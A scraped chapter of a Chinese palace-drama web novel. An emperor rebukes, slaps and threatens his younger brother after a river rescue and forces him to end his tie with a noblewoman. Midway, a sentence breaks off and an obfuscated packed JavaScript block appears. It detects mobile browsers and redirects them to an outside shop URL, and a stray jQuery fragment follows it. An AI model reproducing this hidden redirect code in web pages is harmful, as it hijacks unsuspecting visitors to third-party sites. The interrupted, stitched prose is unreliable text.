默认冷灰
24号文字
方正启体

21. 挖墙脚

作者:强力粘鼠板本书字数:K更新时间:
    邀月舫泊在水面上,高有三层,仿佛一座漂浮在水面上的华丽宫殿,灯火璀璨映照着粼粼水面,光随风走,泛着金色的涟漪。


    两个半干不干的落汤鸡就这么狼狈地走进去面圣。


    “臣女拜见陛下。”


    乐湛看到程繇跪了,想了想,也跟着跪下去了,弱弱地喊了声:“哥。”


    这幅样子就活像一对拜堂的新人。


    李修宜没搭理他,“这是怎么搞的?怎么两个都成了这副样子。”


    他的声音尚且还算温和,是关心小辈的语气,自有一种润物细无声的力量,让人不自觉就放下对九五至尊身份的谨慎戒备。


    程繇端起大家闺秀的样子,将方才发生的事一五一十地陈述一遍,告罪道:“连累齐王殿下涉险,还请陛下降罪。”


    李修宜淡笑,“无妨,今日你们也受惊了,跟侍女下去换身衣服再来回话不迟。”


    由于乐湛将皇帝当成了洪水猛兽,连带着程繇也跟着紧张起来,可仅有两句话的功夫就叫她松懈下来,侍女在旁边候着,“女公子,这边请吧。”


    “多谢陛下,”程繇看了一眼乐湛,犹豫半晌起身跟着侍女走了。


    乐湛起身,“我也去换一身吧。”


    他里面就一件薄薄的里衣,白丝绸质地本就容易透,浸了水之后更是跟没穿一样,一路走过来怪不自在的。


    “你不用,”声音很明显沉冷了不少。“就在那里跪着。”


    “是。”乐湛老老实实跪回去,双手扶着膝,低垂着头。


    “这会儿正是药效上来的时候,不在岁康宫呆着,怎么会跑到东兴大街上来?”


    乐湛抿嘴,背上好像压了块石头喘不过气,“今天药效没那么厉害,加上集会热闹,就没那么困。”


    “少拿这些话来蒙我。”


    果然在李修宜面前扯谎真的不是一个好的选择,乐湛顿感大难临头闭上眼,“我没喝药。”


    “什么时候开始的?”


    乐湛张口还想隐瞒,瞬间想到什么可怕的下场,只能实话实说,“到现在……已经五天了。”


    李修宜额头青筋都崩出来了,忽然开始找手边趁手的东西,乐湛赶紧扑上去按住他的手,“哥哥,你要打我回去再打吧!”


    原来是想着程繇还在这里。


    李修宜不轻不重地甩了他一巴掌,“你还知道要体面,两个人飘在淮水里的时候怎么不知道要体面,要不是我让人去捞你,你现在的尸首已经顺着水飘到河下游去了知道吗?”


    他这个力道脸上不会留下巴掌印,乐湛还是捂着脸跪在李修宜脚下,大气不敢出。


    “这就是你吵着要出宫的结果,药药不喝,身上这点顾全自身都不够的功夫还敢跳下水学别人演什么英雄救美,要是不想活了何必假他人之手,我现在就可以给你一个痛快。”


    “我错了,我从此以后再也不说要出宫的话行不行?”


    想着程繇还在这里,他必须要在尽快稳住李修宜,至少不能让她看见自己跪在李修宜跟前的样子。


    “用得着你说?你看从今往后我会不会让你迈出宫中一步。”


    食指指着乐湛的鼻尖,乐湛伸手握住李修宜的手指,“我都听你的,有什么账我们回去再算,你要打死我都认了,别在这里。”


    姿态低到了尘埃里近乎哀求,李修宜凝视着他,含着冷冷的怒气抽回手,“起来!”


    再怎么样乐湛也是他的弟弟,李修宜不可能让外人看见他不体面的那一面。


    程繇已经换好了衣衫,整理好了仪容,再度随着侍女前来拜见,进来就看见皇帝端方温和一如方才,只是坐在椅上的乐湛脸色很难看。


    程繇以为是乐湛被骂了,见礼赐座坐下以后赶忙将罪责揽到自己身上,“方才是臣女非要逞一时之能,想着将着火的人丢进水里就能暂缓踩踏之祸,未想高估了自己的能耐,将自己置身危险不说还连带着将齐王拖下了水,陛下要治罪的话还请治臣女一人的罪吧。”


    “朕说过了,无妨,”李修宜道,“未想到程氏女竟有如此胆魄,踩踏之祸若是不能及时遏制必将牵连甚广,这也是朕在夏祭朝会不愿意看到的,英勇之举该嘉奖才是,谈何治罪。”


    程繇颇不好意思道,“禁军隔得远没有办法第一时间赶到,刚好我们就在跟前,看着那场面没有办法袖手旁观,只是顺手而为罢了。”


    乐湛有些紧张地看了一眼程繇,李修宜说是夸奖,但是乐湛却听不出半点夸奖的意思,只是程繇不了解这个人,还听不出其中深意。


    “想在错杂奔逃的人堆里自由穿行不是易事,没想到你身为闺阁女子,身手却是不凡。”


    程琩一心想让女儿傍一个金龟婿,教导的肯定是三从四德女红女工一类,不可能让她习武,她能有这身功夫倒是稀奇。


    程繇早已在李修宜的盛赞下放下了警惕之心,听他问起了就如实回道:“当年齐王殿下和东平王孙一同跟随陛下前往边郡,在万都统手下习武,臣女也一道前去了,不知陛下是否还有印象。”


    当年程繇秉承父命,得了机会就往李锦玉身边凑,刚好李锦玉听见乐湛要跟着李修宜去边郡,想着不能让他一人得势,死乞白赖地也求着李修宜带他去,方便他继续跟乐湛作对。


    当年李修宜军中事务繁忙,将两个人丢给了万都统之后再没有过问了,也就没有注意李锦玉身后还跟了这么一个尾巴。


    “原来是师承万荃。”


    程繇坐立不安起来,“不敢说师承,只是有幸在旁边看过一眼。”


    “所谓目见不如足践,只是旁观便能有今日这番身手,可见女公子天资卓绝,比朕这不成器的弟弟强上不少。”


    程繇大惊刚要摆手称不敢当,乐湛先道,“她的天分本来就强过我跟李锦玉。”


    他倒骄傲起来了?


    李修宜绷着脸,不声不响地看了乐湛一眼,乐湛立刻闭嘴,不敢再说一个字。


    又闲叙几句,李修宜假称天色不早,派人送程繇回府。


    程繇走了,乐湛的难题才刚刚开始,他试着跟李修宜服软换取他的原谅,“哥哥,我保证再没有下次了,我们先回去好不好。”


    虽然是四五月的天,但是刚刚才泡过水,晚上淮水面上风又大,冰冷单薄的衣服好似一层冰壳贴在皮肤上,冻得他上下牙打颤,李修宜又不允许他把湿衣服脱下来,乐湛只


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171721|196832||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得缩着肩发抖。


    李修宜骤然变了副面孔,跟刚才对待程繇简直不像是一个人,“现在知道要回宫了,不是喜欢往外面跑吗,还回去做什么?”


    兴许是断了好几天的药的原因,乐湛早上开始就觉得胸口闷痛,连呼吸也跟着困难起来,涉水加上受惊吹过冷风之后更甚,脸上呈现一种不正常的嫣红,一直红到了脖子往下,隔了一层近乎通透的月白锦缎,那淡淡的色泽被冲淡了,是藏在纯白花瓣里被蓄意遮掩又蓄意表露的嫩蕊。


    “我要回去!我想回去,再也不出宫了,”乐湛耍无赖似的抱住李修宜的腿,昂头望着他哭得乱七八糟。


    李修宜面上就是做出再生气,但他从来不会推开乐湛,他喜欢他主动凑上来,喜欢看他粘着自己,喜欢看他生怕被推开继而抱得更紧的可怜样,连同所有的胡搅蛮缠和死缠烂打一并受用了。


    只有这时候他才能确定乐湛一心一意看的是他,没有被任何不相干的人吸引力注意。


    “你们的关系到那一步了?”李修宜目光定定地落在乐湛惶惑的眼里。


    “啊?”


    什么叫哪一步了?


    乐湛不是听不懂李修宜问的是什么意思,他只是还没想明白李修宜想听的答案是什么,他习惯了一言一行的出发点都只为讨好李修宜,李修宜的喜好已经远远超过了他本人的意愿。


    这念头在乐湛的脑子里过了一瞬,猜想是李修宜想问他有没有跟人无媒苟合,坏了姑娘家的清白,做了有违德行的事。


    他实话实说道,“我没有做过任何逾矩的行为,这些年杜获一直虎视眈眈地盯着,为防他有挟持幼帝登基造反的心思,我不敢婚娶也不敢有子嗣。”


    原来只是没有贼胆,并非没有贼心,要不是境况所限乐湛早就跟人跑了。


    彼时他的尸骨还在邙山躺着,乐湛就有洞房花烛夜的心思了,李修宜的呼吸微微一滞,而后缓缓吐出一口气。


    “跟她断了。”


    李修宜不容有疑地吐出几个字。


    乐湛双眸微睁看过去,他还以为李修宜问了这话是要给他赐婚的意思,没有想到冷不防来这么一句,也不敢质问为什么,只是目光闪烁不可思议地望着李修宜。


    “不是你说的还好,莫非都是骗朕的?”


    李修宜头一次单独在他面前搬出皇帝的身份,好像只要不肯跟程繇断了就是欺君之罪,不但要治他的罪,就连程繇和程家也难以幸免。


    他在威胁他。


    乐湛自己尚还朝不保夕,他就不该贪心还跟程繇保持联系,更不该将程繇带到李修宜面前让她置身险境。


    乐湛垂下睫毛,“臣弟知道了,会照做的。”


    李修宜嘴角漾出微笑的影子,似是很满意他现在的表现,他拖住乐湛的下巴,将乐湛越来越低的头蓦地抬起,乐湛还没来得及收敛的失意与怨气一览无遗地落入李修宜的眼中。


    李修宜视而不见地略过,他拿手背贴了贴乐湛有些发热的脸颊,态度转瞬又温和起来:“有点发烧了,是不是?”


    乐湛垂着眼,恹恹地点点头。


    “回家吧。”


    李修宜轻轻地笑,“回我们的家。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)